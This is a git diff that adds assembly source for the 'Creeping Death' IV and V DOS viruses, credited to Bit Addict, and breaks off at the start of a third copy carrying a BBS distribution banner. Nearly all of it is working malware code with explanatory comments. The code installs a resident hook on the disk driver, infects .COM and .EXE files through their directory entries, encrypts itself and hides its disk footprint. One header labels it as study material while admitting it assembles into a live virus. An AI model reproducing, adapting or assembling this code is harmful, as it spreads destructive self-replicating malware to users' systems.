+ ; this virus + +Param dw 0,80h,?,5ch,?,6ch,? ; parameters for the + ; exec-function + +Random db ? ; if this byte becomes zero + ; the virus will change the + ; sector that will be written + ; to disk + +Header db 7 dup(?) ; this is the header for the + ; device driver + +Filename db ? ; Buffer for the filename used + ; by the exec-function + + +;*****************************************************************************; +; ; +; The End ; +; ; +;*****************************************************************************; + +code ends ; end of the viral code + +end Encrypt ; start at offset 100h for + ; com-file + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; diff --git a/c/Cdeath4.asm b/c/Cdeath4.asm new file mode 100755 index 0000000..8d832a9 --- /dev/null +++ b/c/Cdeath4.asm @@ -0,0 +1,602 @@ +;*****************************************************************************; +; ; +; Creeping Death IV (Encrypting, try to find it) ; +; ; +; (c) Copyright 1992 by Bit Addict ; +; ; +;*****************************************************************************; + +code segment public 'code' + assume cs:code, ds:code, es:code + org 100h + +;*****************************************************************************; +; ; +; Actual start of virus. In this part the virus initializes the stack and ; +; adjusts the device driver used by dos to read and write from floppy's and ; +; hard disks. Then it will start the orginal exe or com-file ; +; ; +;*****************************************************************************; + +Encrypt: mov bx,offset Main-9 +Repeat: xor byte ptr [bx+8],bl + inc bx + jnz Repeat + +Main: mov sp,600h ; init stack + inc Counter + +;*****************************************************************************; +; ; +; Get dosversion, if the virus is running with dos 4+ then si will be 0 else ; +; si will be -1 ; +; ; +;*****************************************************************************; + +DosVersion: mov ah,30h ; fn 30h = Get Dosversion + int 21h ; int 21h + cmp al,4 ; major dosversion + sbb di,di + mov byte ptr ds:drive[2],-1 ; set 2nd operand of cmp ah,?? + +;*****************************************************************************; +; ; +; Adjust the size of the codesegment, with dos function 4ah ; +; ; +;*****************************************************************************; + + mov bx,60h ; Adjust size of memory block + mov ah,4ah ; to 60 paragraphs = 600h bytes + int 21h ; int 21h + + mov ah,52h ; get internal list of lists + int 21h ; int 21h + +;*****************************************************************************; +; ; +; If the virus code segment is located behind the dos config memory block the ; +; code segment will be part of the config memory block making it 61h ; +; paragraphs larger. If the virus is not located next to the config memory ; +; block the virus will set the owner to 8h (Dos system) ; +; ; +;*****************************************************************************; + + mov ax,es:[bx-2] ; segment of first MCB + mov dx,cs ; dx = MCB of the code segment + dec dx +NextMCB: mov ds,ax ; ax = segment next MCB + add ax,ds:[3] + inc ax + cmp ax,dx ; are they equal ? + jne NextMCB ; no, not 1st program executed + cmp word ptr ds:[1],8 + jne NoBoot + add word ptr ds:[3],61h ; add 61h to size of block +NoBoot: mov ds,dx ; ds = segment of MCB + mov word ptr ds:[1],8 ; owner = dos system + +;*****************************************************************************; +; ; +; The virus will search for the disk paramenter block for drive a: - c: in ; +; order to find the device driver for these block devices. If any of these ; +; blocks is found the virus will install its own device driver and set the ; +; access flag to -1 to tell dos this device hasn't been accesed yet. ; +; ; +;*****************************************************************************; + + cld ; clear direction flag + lds bx,es:[bx] ; get pointer to first drive + ; paramenter block + +Search: cmp bx,-1 ; last block ? + je Last + mov ax,ds:[bx+di+15h] ; get segment of device header + cmp ax,70h ; dos device header ?? + jne Next ; no, go to next device + xchg ax,cx + mov byte ptr ds:[bx+di+18h],-1 ; set access flag to "drive + ; has not been accessed" + mov si,offset Header-4 ; set address of new device + xchg si,ds:[bx+di+13h] ; and save old address + mov ds:[bx+di+15h],cs +Next: lds bx,ds:[bx+di+19h] ; next drive parameter block + jmp Search + +;*****************************************************************************; +; ; +; If the virus has failed in starting the orginal exe-file it will jump here. ; +; ; +;*****************************************************************************; + +Install: int 20h + +;*****************************************************************************; +; ; +; An file is opend with this name, but the file will not be found. ; +; ; +;*****************************************************************************; + +File: db "C:",255,0 + +;*****************************************************************************; +; ; +; If none of these devices is found it means the virus is already resident ; +; and the virus wasn't able to start the orginal exe-file (the file is ; +; corrupted by copying it without the virus memory resident). If the device ; +; is found the information in the header is copied. ; +; ; +;*****************************************************************************; + +Last: jcxz install + +;*****************************************************************************; +; ; +; The information about the dos device driver is copyed to the virus code ; +; segment ; +; ; +;*****************************************************************************; + + mov ds,cx ; ds = segment of Device Driver + add si,4 + push cs + pop es + mov di,offset Header + movsw + lodsw + mov es:StrBlock,ax + mov ax,offset Strategy + stosw + lodsw + mov es:IntBlock,ax + mov ax,offset Interrupt + stosw + movsb + +;*****************************************************************************; +; ; +; Deallocate the environment memory block and start the this file again, but ; +; if the virus succeeds it will start the orginal exe-file. ; +; ; +;*****************************************************************************; + + push cs + pop ds + mov bx,ds:[2ch] ; environment segment + or bx,bx ; =0 ? + jz Boot + mov es,bx + mov ah,49h ; deallocate memory + int 21h + xor ax,ax + mov di,1 +Seek: dec di ; scan for end of environment + scasw + jne Seek + lea si,ds:[di+2] ; es:si = start of filename + jmp short Exec + +Boot: mov ds,ds:[16h] ; es = parent PSP + mov bx,ds:[16h] ; bx = parent PSP of Parent PSP + xor si,si + sub bx,1 + jnb Exec + mov ax,cs + dec ax + mov ds,ax + mov cx,8 + mov si,8 + mov di,0ffh +Count: lodsb + or al,al + loopne Count + not cx + and cx,7 +NextByte: mov si,8 + inc di + push di + push cx + rep cmpsb + pop cx + pop di + jne NextByte +BeginName: dec di + cmp byte ptr es:[di-1],0 + jne BeginName + mov si,di + mov bx,es +Exec: push bx + push cs + pop ds + mov bx,offset Param + mov ds:[bx+4],cs ; set segments in EPB + mov ds:[bx+8],cs + mov ds:[bx+12],cs + pop ds + push cs + pop es + + mov di,offset f_name ; copy name of this file + push di + mov cx,40 + rep movsw + push cs + pop ds + + mov ah,3dh ; open file, this file will + mov dx,offset File ; not be found but the entire + int 21h ; directory is searched and + pop dx ; infected + + mov ax,4b00h ; execute file + int 21h + mov ah,4dh ; get exit-code + int 21h + mov ah,4ch ; terminate (al = exit code) + int 21h + +;*****************************************************************************; +; ; +; Installation complete ; +; ; +;*****************************************************************************; +; ; +; The next part contains the device driver used by creeping death to infect ; +; directory's ; +; ; +; The device driver uses only the strategy routine to handle the requests. ; +; I don't know if this is because the virus will work better or the writer ; +; of this virus didn't know how to do it right. ; +; ; +;*****************************************************************************; + + +Strategy: mov cs:RequestOffset,bx + mov cs:RequestSegment,es + retf + +Interrupt: push ax ; driver strategy block + push bx + push cx ; save registers + push dx + push si + push di + push ds + push es + + les bx,cs:Request + push es + pop ds + mov al,ds:[bx+2] ; Command Code + + cmp al,4 ; Input + je Input + cmp al,8 ; Output + je Output + cmp al,9 + je Output + + call DoRequest + + cmp al,2 ; Build BPB + jne Return + lds si,ds:[bx+12h] ; copy the BPB and change it + mov di,offset bpb_buf ; into one that hides the virus + mov es:[bx+12h],di + mov es:[bx+14h],cs + push es ; copy + push cs + pop es + mov cx,16 + rep movsw + pop es + push cs + pop ds + mov al,ds:[di+2-32] ; change + cmp al,2 + adc al,0 + cbw + cmp word ptr ds:[di+8-32],0 ; >32mb partition ? + je m32 ; yes, jump to m32 + sub ds:[di+8-32],ax ; <32mb partition + jmp short Return +m32: sub ds:[di+15h-32],ax ; >32mb partition + sbb word ptr ds:[di+17h-32],0 +Return: pop es ; return to caller + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + retf + +Output: mov cx,0ff09h ; check if disk changed + call check + jz InfectSector ; no, just infect sector + call DoRequest ; yes, write virus to disk + jmp short inf_dsk + +InfectSector: jmp _InfectSector ; infect sector +Read: jmp _Read ; read sector +ReadError: add sp,16 ; error during request + jmp short Return + +Input: call check ; check if disk changed + jz Read ; no, read sector +inf_dsk: mov byte ptr ds:[bx+2],4 ; yes, write virus to disk + cld ; save last part of request + lea si,ds:[bx+0eh] + mov cx,8 +save: lodsw + push ax + loop save + mov word ptr ds:[bx+14h],1 ; read 1st sector on disk + call ReadSector + jnz ReadError + mov byte ptr ds:[bx+2],2 ; build BPB + call DoRequest + lds si,ds:[bx+12h] ; ds:si = BPB + mov di,ds:[si+6] ; size of root directory + add di,15 ; in sectors + mov cl,4 + shr di,cl + mov al,ds:[si+5] + cbw + mov dx,ds:[si+0bh] + mul dx ; ax=fat sectors, dx=0 + add ax,ds:[si+3] + add di,ax + push di ; save it on stack + mov ax,ds:[si+8] ; total number of sectors + cmp ax,dx ; >32mb + jnz more ; no, skip next 2 instructions + mov ax,ds:[si+15h] ; get number of sectors + mov dx,ds:[si+17h] +more: xor cx,cx ; cx=0 + sub ax,di ; dx:ax=number is data sectors + sbb dx,cx + mov cl,ds:[si+2] ; cx=sectors / cluster + div cx ; number of clusters on disk + cmp cl,2 ; 1 sector/cluster ? + sbb ax,-1 ; number of clusters (+1 or +2) + push ax ; save it on stack + call Convert ; get fat sector and offset in + mov byte ptr es:[bx+2],4 ; sector + mov es:[bx+14h],ax + call ReadSector ; read fat sector +again: lds si,es:[bx+0eh] + add si,dx + sub dh,cl ; has something to do with the + adc dx,ax ; encryption of the pointers + mov word ptr cs:[gad+1],dx + cmp cl,1 ; 1 sector / cluster + jne Ok +SmallModel: not di ; this is used when the + and ds:[si],di ; clusters are 1 sector long + pop ax + push ax + inc ax + push ax + mov dx,0fh + test di,dx + jz here + inc dx + mul dx +here: or ds:[si],ax + pop ax + call Convert + mov si,es:[bx+0eh] + add si,dx +Ok: mov ax,ds:[si] + and ax,di + mov dx,di ; allocate cluster + dec dx + and dx,di + not di + and ds:[si],di + or ds:[si],dx + cmp ax,dx ; cluster already allocated by + pop ax ; the virus ? + pop di + mov word ptr cs:[pointer+1],ax + je _Read_ ; yes, don't write it and go on + mov dx,ds:[si] + push ds + push si + mov byte ptr es:[bx+2],8 ; write + call DoRequest ; write the adjusted sector to + pop si ; disk + pop ds + jnz _Read_ + call ReadSector ; read it again + cmp ds:[si],dx ; is it written correctly ? + jne _Read_ ; no, can't infect disk + dec ax + dec ax ; calculate the sector number + mul cx ; to write the virus to + add ax,di + adc dx,0 + push es + pop ds + mov word ptr ds:[bx+12h],2 + mov ds:[bx+14h],ax ; store it in the request hdr + test dx,dx + jz less + mov word ptr ds:[bx+14h],-1 + mov ds:[bx+1ah],ax + mov ds:[bx+1ch],dx +less: mov ds:[bx+10h],cs + mov ds:[bx+0eh],100h + mov byte ptr es:[bx+2],8 ; write it + call EncryptWrite1 + +_Read_: mov byte ptr ds:[bx+2],4 ; restore this byte + std ; restore other part of the + lea di,ds:[bx+1ch] ; request + mov cx,8 +load: pop ax + stosw + loop load +_Read: call DoRequest ; do request + + mov cx,9 +_InfectSector: mov di,es:[bx+12h] ; get number of sectors read + lds si,es:[bx+0eh] ; get address of data + sal di,cl ; calculate end of buffer + xor cl,cl + add di,si + xor dl,dl + push ds ; infect the sector + push si + call find + jcxz no_inf ; write sector ? + mov al,8 + xchg al,es:[bx+2] ; save command byte + call DoRequest ; write sector + mov es:[bx+2],al ; restore command byte + and byte ptr es:[bx+4],07fh +no_inf: pop si + pop ds + inc dx ; disinfect sector in memory + call find + jmp Return ; return to caller + +;*****************************************************************************; +; ; +; Subroutines ; +; ; +;*****************************************************************************; + +find: mov ax,ds:[si+8] ; (dis)infect sector in memory + cmp ax,"XE" ; check for .exe + jne com + cmp ds:[si+10],al + je found +com: cmp ax,"OC" ; check for .com + jne go_on + cmp byte ptr ds:[si+10],"M" + jne go_on +found: test word ptr ds:[si+1eh],0ffc0h ; file to big + jnz go_on ; more than 4mb + test word ptr ds:[si+1dh],03ff8h ; file to small + jz go_on ; less than 2048 bytes + test byte ptr ds:[si+0bh],1ch ; directory, system or + jnz go_on ; volume label + test dl,dl ; infect or disinfect ? + jnz rest +pointer: mov ax,1234h ; ax = viral cluster + cmp ax,ds:[si+1ah] ; file already infected ? + je go_on ; yes, go on + xchg ax,ds:[si+1ah] ; exchange pointers +gad: xor ax,1234h ; encryption + mov ds:[si+14h],ax ; store it on another place + loop go_on ; change cx and go on +rest: xor ax,ax ; ax = 0 + xchg ax,ds:[si+14h] ; get pointer + xor ax,word ptr cs:[gad+1] ; Encrypt + mov ds:[si+1ah],ax ; store it on the right place +go_on: rol word ptr cs:[gad+1],1 ; change encryption + add si,32 ; next directory entry + cmp di,si ; end of buffer ? + jne find ; no, do it again + ret ; return + +check: mov ah,ds:[bx+1] ; get number of unit +drive: cmp ah,-1 ; same as last call ? + mov byte ptr cs:[drive+2],ah ; set 2nd parameter + jne changed + push ds:[bx+0eh] ; save word + mov byte ptr ds:[bx+2],1 ; disk changed ? + call DoRequest + cmp byte ptr ds:[bx+0eh],1 ; 1=Yes + pop ds:[bx+0eh] ; restore word + mov ds:[bx+2],al ; restore command +changed: ret ; return + +ReadSector: mov word ptr es:[bx+12h],1 ; read sector from disk + +DoRequest: db 09ah ; call 70:?, orginal strategy +StrBlock dw ?,70h + db 09ah ; call 70:?, orginal interrupt +IntBlock dw ?,70h + test byte ptr es:[bx+4],80h ; error ? yes, zf = 0 + ret ; return + +Convert: cmp ax,0ff0h ; convert cluster number into + jae fat_16 ; an sector number and offset + mov si,3 ; into this sector containing + xor word ptr cs:[si+gad-1],si ; the fat-item of this + mul si ; cluster + shr ax,1 + mov di,0fffh + jnc cont + mov di,0fff0h + jmp short cont +fat_16: mov si,2 + mul si + mov di,0ffffh +cont: mov si,512 + div si + inc ax + ret + +EncryptWrite1: push ds + push cs + pop ds + push es + push cs + pop es + cld + mov cx,9 + mov si,offset Encrypt + mov di,offset EncryptWrite2 + mov al,ds:[si+5] + add al,11 + mov ds:[si+5],al + cbw + mov dx,offset Main-1 + sub dx,ax + mov ds:[si+1],dx + rep movsb + mov cl,10 + mov si,offset DoRequest + rep movsb + mov cl,9 + mov si,offset Encrypt + rep movsb + mov ax,0c31fh + stosw + pop es + jmp EncryptWrite2 + +Counter dw 0 ; this will count the number of + ; systems that are infected by + ; this virus + +Param: dw 0,80h,?,5ch,?,6ch,? ; parameters for the + ; exec-function + +Header db 7 dup(?) ; this is the header for the + ; device driver + +Request equ this dword ; address of the request header +RequestOffset dw ? +RequestSegment dw ? + +bpb_buf: db 32 dup(?) ; buffer for BPB +EncryptWrite2: db 30 dup(?) +f_name: db 80 dup(?) ; Buffer for the filename used + ; by the exec-function + + + +;*****************************************************************************; +; ; +; The End ; +; ; +;*****************************************************************************; + +code ends + +end Encrypt diff --git a/c/Cdeath5.asm b/c/Cdeath5.asm new file mode 100755 index 0000000..c43bb23 --- /dev/null +++ b/c/Cdeath5.asm @@ -0,0 +1,605 @@ +;*****************************************************************************; +; ; +; Creeping Death V (Encrypting, try to find it) ; +; (Version 4 bug Fixed) : +; (c) Copyright 1992 by Bit Addict ; +; ; +;*****************************************************************************; + +code segment public 'code' + assume cs:code, ds:code, es:code + org 5ch + +;*****************************************************************************; +; ; +; Data ; +; ; +;*****************************************************************************; + +BPB_Buf: db 32 dup(?) ; buffer for BPB +EncryptWrite2: db 36 dup(?) ; Encrypt DoRequest Encrypt + +Request equ this dword ; address of the request header +RequestOffset dw ? +RequestSegment dw ? + + org 100h + +;*****************************************************************************; +; ; +; Actual start of virus. In this part the virus initializes the stack and ; +; adjusts the device driver used by dos to read and write from floppy's and ; +; hard disks. Then it will start the orginal exe or com-file ; +; ; +;*****************************************************************************; + +Encrypt: mov si,offset Main-1 + mov cx,400h-11 +Repeat: xor byte ptr [si],0 + inc si + loop Repeat + +Main: mov sp,600h ; init stack + inc Counter + +;*****************************************************************************; +; ; +; Get dosversion, if the virus is running with dos 4+ then si will be 0 else ; +; si will be -1 ; +; ; +;*****************************************************************************; + +DosVersion: mov ah,30h ; fn 30h = Get Dosversion + int 21h ; int 21h + cmp al,4 ; major dosversion + sbb di,di + mov byte ptr ds:drive[2],-1 ; set 2nd operand of cmp ah,?? + +;*****************************************************************************; +; ; +; Adjust the size of the codesegment, with dos function 4ah ; +; ; +;*****************************************************************************; + + mov bx,60h ; Adjust size of memory block + mov ah,4ah ; to 60 paragraphs = 600h bytes + int 21h ; int 21h + + mov ah,52h ; get internal list of lists + int 21h ; int 21h + +;*****************************************************************************; +; ; +; If the virus code segment is located behind the dos config memory block the ; +; code segment will be part of the config memory block making it 61h ; +; paragraphs larger. If the virus is not located next to the config memory ; +; block the virus will set the owner to 8h (Dos system) ; +; ; +;*****************************************************************************; + + mov ax,es:[bx-2] ; segment of first MCB + mov dx,cs ; dx = MCB of the code segment + dec dx +NextMCB: mov ds,ax ; ax = segment next MCB + add ax,ds:[3] + inc ax + cmp ax,dx ; are they equal ? + jne NextMCB ; no, not 1st program executed + cmp word ptr ds:[1],8 + jne NoBoot + add word ptr ds:[3],61h ; add 61h to size of block +NoBoot: mov ds,dx ; ds = segment of MCB + mov word ptr ds:[1],8 ; owner = dos system + +;*****************************************************************************; +; ; +; The virus will search for the disk paramenter block for drive a: - c: in ; +; order to find the device driver for these block devices. If any of these ; +; blocks is found the virus will install its own device driver and set the ; +; access flag to -1 to tell dos this device hasn't been accesed yet. ; +; ; +;*****************************************************************************; + + cld ; clear direction flag + lds bx,es:[bx] ; get pointer to first drive + ; paramenter block + +Search: cmp bx,-1 ; last block ? + je Last + mov ax,ds:[bx+di+15h] ; get segment of device header + cmp ax,70h ; dos device header ?? + jne Next ; no, go to next device + xchg ax,cx + mov byte ptr ds:[bx+di+18h],-1 ; set access flag to "drive + ; has not been accessed" + mov si,offset Header-4 ; set address of new device + xchg si,ds:[bx+di+13h] ; and save old address + mov ds:[bx+di+15h],cs +Next: lds bx,ds:[bx+di+19h] ; next drive parameter block + jmp Search + +;*****************************************************************************; +; ; +; If the virus has failed in starting the orginal exe-file it will jump here. ; +; ; +;*****************************************************************************; + +Boot: mov ds,ds:[16h] ; es = parent PSP + mov bx,ds:[16h] ; bx = parent PSP of Parent PSP + xor si,si + sub bx,1 + jnb Exec + mov ax,cs + dec ax + mov ds,ax + mov cx,8 + mov si,8 + mov di,0ffh +Count: lodsb + or al,al + loopne Count + not cx + and cx,7 +NextByte: mov si,8 + inc di + push di + push cx + rep cmpsb + pop cx + pop di + jne NextByte +BeginName: dec di + cmp byte ptr es:[di-1],0 + jne BeginName + mov si,di + mov bx,es + jmp short Exec + +;*****************************************************************************; +; ; +; If none of these devices is found it means the virus is already resident ; +; and the virus wasn't able to start the orginal exe-file (the file is ; +; corrupted by copying it without the virus memory resident). If the device ; +; is found the information in the header is copied. ; +; ; +;*****************************************************************************; + +Last: jcxz Exit + +;*****************************************************************************; +; ; +; The information about the dos device driver is copyed to the virus code ; +; segment ; +; ; +;*****************************************************************************; + + mov ds,cx ; ds = segment of Device Driver + add si,4 + push cs + pop es + mov di,offset Header + movsw + lodsw + mov es:StrBlock,ax + mov ax,offset Strategy + stosw + lodsw + mov es:IntBlock,ax + mov ax,offset Interrupt + stosw + movsb + +;*****************************************************************************; +; ; +; Deallocate the environment memory block and start the this file again, but ; +; if the virus succeeds it will start the orginal exe-file. ; +; ; +;*****************************************************************************; + + push cs + pop ds + mov bx,ds:[2ch] ; environment segment + or bx,bx ; =0 ? + jz Boot + mov es,bx + mov ah,49h ; deallocate memory + int 21h + xor ax,ax + mov di,1 +Seek: dec di ; scan for end of environment + scasw + jne Seek + lea si,ds:[di+2] ; es:si = start of filename +Exec: push bx + push cs + pop ds + mov bx,offset Param + mov ds:[bx+4],cs ; set segments in EPB + mov ds:[bx+8],cs + mov ds:[bx+12],cs + pop ds + push cs + pop es + + mov di,offset f_name ; copy name of this file + push di + mov cx,40 + rep movsw + push cs + pop ds + + mov ah,3dh ; open file, this file will + mov dx,offset File ; not be found but the entire + int 21h ; directory is searched and + pop dx ; infected + + mov ax,4b00h ; execute file + int 21h +Exit: mov ah,4dh ; get exit-code + int 21h + mov ah,4ch ; terminate (al = exit code) + int 21h + +;*****************************************************************************; +; ; +; Installation complete ; +; ; +;*****************************************************************************; +; ; +; The next part contains the device driver used by creeping death to infect ; +; directory's ; +; ; +; The device driver uses only the strategy routine to handle the requests. ; +; I don't know if this is because the virus will work better or the writer ; +; of this virus didn't know how to do it right. ; +; ; +;*****************************************************************************; + + +Strategy: mov cs:RequestOffset,bx + mov cs:RequestSegment,es + retf + +Interrupt: push ax ; driver strategy block + push bx + push cx ; save registers + push dx + push si + push di + push ds + push es + + les bx,cs:Request + push es + pop ds + mov al,ds:[bx+2] ; Command Code + + cmp al,4 ; Input + je Input + cmp al,8 ; Output + je Output + cmp al,9 + je Output + + call DoRequest + + cmp al,2 ; Build BPB + jne Return + lds si,ds:[bx+12h] ; copy the BPB and change it + mov di,offset bpb_buf ; into one that hides the virus + mov es:[bx+12h],di + mov es:[bx+14h],cs + push es ; copy + push cs + pop es + mov cx,16 + rep movsw + pop es + push cs + pop ds + mov al,ds:[di+2-32] ; change + cmp al,2 + adc al,0 + cbw + cmp word ptr ds:[di+8-32],0 ; >32mb partition ? + je m32 ; yes, jump to m32 + sub ds:[di+8-32],ax ; <32mb partition + jmp short Return +m32: sub ds:[di+15h-32],ax ; >32mb partition + sbb word ptr ds:[di+17h-32],0 +Return: pop es ; return to caller + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + retf + +Output: mov cx,0ff09h ; check if disk changed + call check + jz InfectSector ; no, just infect sector + call DoRequest ; yes, write virus to disk + jmp short inf_dsk + +InfectSector: jmp _InfectSector ; infect sector +Read: jmp _Read ; read sector +ReadError: add sp,16 ; error during request + jmp short Return + +Input: call check ; check if disk changed + jz Read ; no, read sector +inf_dsk: mov byte ptr ds:[bx+2],4 ; yes, write virus to disk + cld ; save last part of request + lea si,ds:[bx+0eh] + mov cx,8 +save: lodsw + push ax + loop save + mov word ptr ds:[bx+14h],1 ; read 1st sector on disk + call ReadSector + jnz ReadError + mov byte ptr ds:[bx+2],2 ; build BPB + call DoRequest + lds si,ds:[bx+12h] ; ds:si = BPB + mov di,ds:[si+6] ; size of root directory + add di,15 ; in sectors + mov cl,4 + shr di,cl + mov al,ds:[si+5] + cbw + mov dx,ds:[si+0bh] + mul dx ; ax=fat sectors, dx=0 + add ax,ds:[si+3] + add di,ax + push di ; save it on stack + mov ax,ds:[si+8] ; total number of sectors + cmp ax,dx ; >32mb + jnz more ; no, skip next 2 instructions + mov ax,ds:[si+15h] ; get number of sectors + mov dx,ds:[si+17h] +more: xor cx,cx ; cx=0 + sub ax,di ; dx:ax=number is data sectors + sbb dx,cx + mov cl,ds:[si+2] ; cx=sectors / cluster + div cx ; number of clusters on disk + cmp cl,2 ; 1 sector/cluster ? + sbb ax,-1 ; number of clusters (+1 or +2) + push ax ; save it on stack + call Convert ; get fat sector and offset in + mov byte ptr es:[bx+2],4 ; sector + mov es:[bx+14h],ax + call ReadSector ; read fat sector +again: lds si,es:[bx+0eh] + add si,dx + sub dh,cl ; has something to do with the + adc dx,ax ; encryption of the pointers + mov word ptr cs:[gad+1],dx + cmp cl,1 ; 1 sector / cluster + jne Ok +SmallModel: not di ; this is used when the + and ds:[si],di ; clusters are 1 sector long + pop ax + push ax + inc ax + push ax + mov dx,0fh + test di,dx + jz here + inc dx + mul dx +here: or ds:[si],ax + pop ax + call Convert + mov si,es:[bx+0eh] + add si,dx +Ok: mov ax,ds:[si] + and ax,di + mov dx,di ; allocate cluster + dec dx + and dx,di + not di + and ds:[si],di + or ds:[si],dx + cmp ax,dx ; cluster already allocated by + pop ax ; the virus ? + pop di + mov word ptr cs:[pointer+1],ax + je _Read_ ; yes, don't write it and go on + mov dx,ds:[si] + push ds + push si + mov byte ptr es:[bx+2],8 ; write + call DoRequest ; write the adjusted sector to + pop si ; disk + pop ds + jnz _Read_ + call ReadSector ; read it again + cmp ds:[si],dx ; is it written correctly ? + jne _Read_ ; no, can't infect disk + dec ax + dec ax ; calculate the sector number + mul cx ; to write the virus to + add ax,di + adc dx,0 + push es + pop ds + mov word ptr ds:[bx+12h],2 + mov ds:[bx+14h],ax ; store it in the request hdr + test dx,dx + jz less + mov word ptr ds:[bx+14h],-1 + mov ds:[bx+1ah],ax + mov ds:[bx+1ch],dx +less: mov ds:[bx+10h],cs + mov ds:[bx+0eh],100h + mov byte ptr es:[bx+2],8 ; write it + call EncryptWrite1 + +_Read_: mov byte ptr ds:[bx+2],4 ; restore this byte + std ; restore other part of the + lea di,ds:[bx+1ch] ; request + mov cx,8 +load: pop ax + stosw + loop load +_Read: call DoRequest ; do request + + mov cx,9 +_InfectSector: mov di,es:[bx+12h] ; get number of sectors read + lds si,es:[bx+0eh] ; get address of data + sal di,cl ; calculate end of buffer + xor cl,cl + add di,si + xor dl,dl + push ds ; infect the sector + push si + call find + jcxz no_inf ; write sector ? + mov al,8 + xchg al,es:[bx+2] ; save command byte + call DoRequest ; write sector + mov es:[bx+2],al ; restore command byte + and byte ptr es:[bx+4],07fh +no_inf: pop si + pop ds + inc dx ; disinfect sector in memory + call find + jmp Return ; return to caller + +;*****************************************************************************; +; ; +; Subroutines ; +; ; +;*****************************************************************************; + +find: mov ax,ds:[si+8] ; (dis)infect sector in memory + cmp ax,"XE" ; check for .exe + jne com + cmp ds:[si+10],al + je found +com: cmp ax,"OC" ; check for .com + jne go_on + cmp byte ptr ds:[si+10],"M" + jne go_on +found: test word ptr ds:[si+1eh],0ffc0h ; file to big + jnz go_on ; more than 4mb + test word ptr ds:[si+1dh],03ff8h ; file to small + jz go_on ; less than 2048 bytes + test byte ptr ds:[si+0bh],1ch ; directory, system or + jnz go_on ; volume label + test dl,dl ; infect or disinfect ? + jnz rest +pointer: mov ax,1234h ; ax = viral cluster + cmp ax,ds:[si+1ah] ; file already infected ? + je go_on ; yes, go on + xchg ax,ds:[si+1ah] ; exchange pointers +gad: xor ax,1234h ; encryption + mov ds:[si+14h],ax ; store it on another place + loop go_on ; change cx and go on +rest: xor ax,ax ; ax = 0 + xchg ax,ds:[si+14h] ; get pointer + xor ax,word ptr cs:[gad+1] ; Encrypt + mov ds:[si+1ah],ax ; store it on the right place +go_on: rol word ptr cs:[gad+1],1 ; change encryption + add si,32 ; next directory entry + cmp di,si ; end of buffer ? + jne find ; no, do it again + ret ; return + +check: mov ah,ds:[bx+1] ; get number of unit +drive: cmp ah,-1 ; same as last call ? + mov byte ptr cs:[drive+2],ah ; set 2nd parameter + jne changed + push ds:[bx+0eh] ; save word + mov byte ptr ds:[bx+2],1 ; disk changed ? + call DoRequest + cmp byte ptr ds:[bx+0eh],1 ; 1=Yes + pop ds:[bx+0eh] ; restore word + mov ds:[bx+2],al ; restore command +changed: ret ; return + +ReadSector: mov word ptr es:[bx+12h],1 ; read sector from disk + +DoRequest: db 09ah ; call 70:?, orginal strategy +StrBlock dw ?,70h + db 09ah ; call 70:?, orginal interrupt +IntBlock dw ?,70h + test byte ptr es:[bx+4],80h ; error ? yes, zf = 0 + ret ; return + +Convert: cmp ax,0ff0h ; convert cluster number into + jae fat_16 ; an sector number and offset + mov si,3 ; into this sector containing + xor word ptr cs:[si+gad-1],si ; the fat-item of this + mul si ; cluster + shr ax,1 + mov di,0fffh + jnc cont + mov di,0fff0h + jmp short cont +fat_16: mov si,2 + mul si + mov di,0ffffh +cont: mov si,512 + div si + inc ax + ret + +EncryptWrite1: push ds + push cs + pop ds + push es + push cs + pop es + cld + mov cx,12 + mov si,offset Encrypt + mov di,offset EncryptWrite2 + inc byte ptr ds:[si+8] + rep movsb + mov cl,10 + mov si,offset DoRequest + rep movsb + mov cl,12 + mov si,offset Encrypt + rep movsb + mov ax,0c31fh + stosw + pop es + jmp EncryptWrite2 + +;*****************************************************************************; +; ; +; Data ; +; ; +;*****************************************************************************; + +File: db "C:",255,0 ; the virus tries to open this + ; file + +Counter dw 0 ; this will count the number of + ; systems that are infected by + ; this virus + +Param: dw 0,80h,?,5ch,?,6ch,? ; parameters for the + ; exec-function + +Signature db 'CREEPING DEATH 3' ; Signature + +Header db 7 dup(?) ; this is the header for the + ; device driver + +f_name: db ? ; Buffer for the filename used + ; by the exec-function + +;*****************************************************************************; +; ; +; The End ; +; ; +;*****************************************************************************; + +code ends + +end Encrypt diff --git a/c/Cdset4.asm b/c/Cdset4.asm new file mode 100755 index 0000000..2a2c55a --- /dev/null +++ b/c/Cdset4.asm @@ -0,0 +1,655 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; +;*****************************************************************************; +; ; +; Creeping Death IV (Encrypting, try to find it) ; +; ; +; (c) Copyright 1992 by Bit Addict ; +; ; +;*****************************************************************************; + +code segment public 'code' + assume cs:code, ds:code, es:code + org 100h + +;*****************************************************************************; +; ; +; Actual start of virus. In this part the virus initializes the stack and ; +; adjusts the device driver used by dos to read and write from floppy's and ; +; hard disks. Then it will start the orginal exe or com-file ; +; ; +;*****************************************************************************; + +Encrypt: mov bx,offset Main-9 +Repeat: xor byte ptr [bx+8],bl + inc bx + jnz Repeat + +Main: mov sp,600h ; init stack + inc Counter + +;*****************************************************************************; +; ; +; Get dosversion, if the virus is running with dos 4+ then si will be 0 else ; +; si will be -1 ; +; ; +;*****************************************************************************; + +DosVersion: mov ah,30h ; fn 30h = Get Dosversion + int 21h ; int 21h + cmp al,4 ; major dosversion + sbb di,di + mov byte ptr ds:drive[2],-1 ; set 2nd operand of cmp ah,?? + +;*****************************************************************************; +; ; +; Adjust the size of the codesegment, with dos function 4ah ; +; ; 